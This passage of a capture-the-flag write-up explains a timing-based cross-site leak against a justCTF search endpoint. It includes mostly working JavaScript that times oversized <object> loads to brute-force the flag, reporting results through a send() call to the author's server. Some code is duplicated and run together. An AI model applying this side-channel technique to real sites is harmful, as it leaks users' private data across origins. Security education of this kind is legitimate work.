Also, error events will not work because of text/plain content type.
Oracle
What is the oracle to leak the flag?
We can use something like: /search?search=a&msg=${'A'*1000000}
If a is not in the flag, the response is just Not Found, otherwise A*1000000+flag
More content takes more time for the browser to render, so we can use the <object> tag to embed the URL and measure the load time, see the following for the actual code:
functionleak(char, callback) { returnnewPromise(resolve => { let ss = 'just_random_string' let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () =>console.log('Error event triggered'); document.body.appendChild(object); }) }
Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
functionleak(char, callback) { returnnewPromise(resolve => { let ss = 'just_random_string' let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () =>console.log('Error event triggered'); document.body.appendChild(object); }) }
send('start')
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let flag = 'justCTF{'
asyncfunctionmain() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT_FOUND123') }
found /= 3 notFound /= 3 send('found flag:'+found) send('not found flag:'+notFound)
let threshold = found - ((found - notFound)/2) send('threshold:'+threshold)
if (notFound > found) { return }
while(true) { if (flag[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } }
main() </script> </body>
</html>
When exploiting the xsleak challenge, I need to send the log back to my server to know if anything is wrong.
For example, the threshold is sometimes inaccurate, so I need to update the exploit a few times manually.
Also, there are a few details to make the exploit faster and more stable.
First, I send a few requests before measuring the load time. The first few requests are not that accurate due to DNS lookup, initial connection, etc.
Second, I send a request three times and take it’s average to be more accurate(but the trade-off is that the exploit will take more time)
Third, you can leak the charset first to reduce the time and request significantly:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let newCharset = '' for(let char of charset) { let time = 0 for(let i=0; i<3; i++) { time += await leak(char) } time/=3 send('char:' + char + ',time:' + time) if (time >= thershold) { newCharset += char send(newCharset) } }
I spent most of the time tweaking these details to get the expected result. Anyway, by running the exploit a few times, we can get the flag in the end: justCTF{timeme__}(IIRC, the server is off, and I forgot to take the screenshot)